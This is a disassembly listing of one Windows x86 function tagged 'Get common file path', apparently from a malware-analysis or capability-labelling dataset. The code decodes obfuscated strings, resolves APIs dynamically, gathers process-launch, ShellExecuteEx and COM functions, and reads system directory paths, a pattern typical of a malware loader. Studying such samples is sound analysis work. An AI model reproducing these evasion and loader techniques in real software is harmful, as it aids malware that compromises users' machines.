Function at 0x403d0c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
xor edi, edi
push 0x118
lea eax, [ebp - 0x124]
push edi
push eax
mov dword [ebp - 0x128], edi
call sub.ntdll.dll_memset
add esp, 0xc
lea esi, [ebp - 0x128]
call fcn.004069e8
cmp dword [ebp - 0x124], 0xa
jae 0x404038
mov eax, 0xe28
push edi
mov dword [0x41b2a8], eax
call fcn.00408cd8
mov ebx, dword [sym.imp.KERNEL32.dll_ExitProcess]
pop ecx
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0xeca7ca3d
mov dword [eax + 8], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0x1e
push 0x415c80
mov dword [0x41b2a0], eax
mov edi, eax
mov dword [eax + 0xc], ebx
mov dword [eax + 4], ecx
call fcn.0040a2d3
add esp, 0x10
push eax
push ecx
push 0x7422f9e0
push 0xc
push 0x415ac0
call fcn.0040a71a
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edi], eax
push 0x41b5d8
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, 0x41a238
call fcn.0040d23e
mov esi, 0x104
push esi
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x330]
push eax
push 0
push 0xfaed1af8
push 0x2a
push 0x415ca0
call fcn.0040a2d3
add esp, 0x10
push eax
lea eax, [edi + 0x218]
push eax
call fcn.0040c95b
add esp, 0xc
lea eax, [ebp - 0x330]
push eax
push 0
push 0x18a0c494
push 0x22
push 0x415ccc
call fcn.0040a2d3
add esp, 0x10
push eax
lea eax, [edi + 0x31c]
push eax
call fcn.0040c95b
add esp, 0xc
cmp dword [ebp - 0x124], 6
jne 0x403ea5
lea eax, [ebp - 0x330]
push eax
push 0
push 0xa1ce32a9
push 0x30
push 0x415cf0
call fcn.0040a2d3
add esp, 0x10
push eax
lea eax, [edi + 0x420]
push eax
call fcn.0040c95b
add esp, 0xc
lea eax, [ebp - 0x330]
push eax
push 0
push 0x63f8afb3
push 0x40
push 0x415d28
call fcn.0040a2d3
add esp, 0x10
push eax
lea eax, [edi + 0x524]
push eax
call fcn.0040c95b
add esp, 0xc
push 0x800
push 0x4032ab
add edi, 0x628
push edi
call sub.ntdll.dll_memcpy
add esp, 0xc
call fcn.00409ce8
test eax, eax
push esi
lea eax, [ebp - 0x538]
push eax
je 0x403ed7
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x403edd
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [ebp - 0x538]
push eax
push ecx
push 0x44d1f995
push 0x11
push 0x415d6c
call fcn.0040a71a
add esp, 0x10
push eax
push 0x41b098
call fcn.0040c91e
mov esi, 0x415788
mov edi, 0x41a208
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x415768
mov edi, 0x41a218
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [sym.imp.ole32.dll_CoInitializeEx]
movsd dword es:[edi], dword [esi]
mov esi, 0x415748
mov edi, 0x41a228
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
xor edi, edi
push edi
push 0xabfdb6f4
mov dword [0x41a1e4], eax
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
push 0x1b
push str.Yizd_
mov dword [0x41a1e8], eax
call fcn.0040a2d3
add esp, 0x10
push eax
push ecx
push 0x912a6ff1
push 0xb
push 0x415d9c
call fcn.0040a71a
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41a1ec], eax
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [0x41a1f0], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x41a1f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x41a200], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x41a1f8], eax
mov eax, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [0x41a1fc], eax
push 0xff
mov esi, 0x41a0b8
push 0x96
mov eax, esi
mov dword [0x41a204], ebx
call fcn.0040c75d
pop ecx
pop ecx
push esi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x41a0b4], eax
mov eax, dword [0x41b2b0]
mov dword [0x41b2a4], eax
call fcn.0040cc57
mov dword [0x41a0b0], eax
push 0x41faae78
push 5
push 0x415da8
call fcn.0040a71a
add esp, 0xc
push edi
push 1
push edi
push 0x403ca6
push 4
mov dword [ebp - 4], eax
push 1
lea eax, [ebp - 4]
push eax
push 0x41a238
call fcn.0040cccd
mov esi, dword [0x41a0b4]
add esp, 0x20
call fcn.00409a17
pop edi
pop esi
xor al, al
pop ebx
leave
ret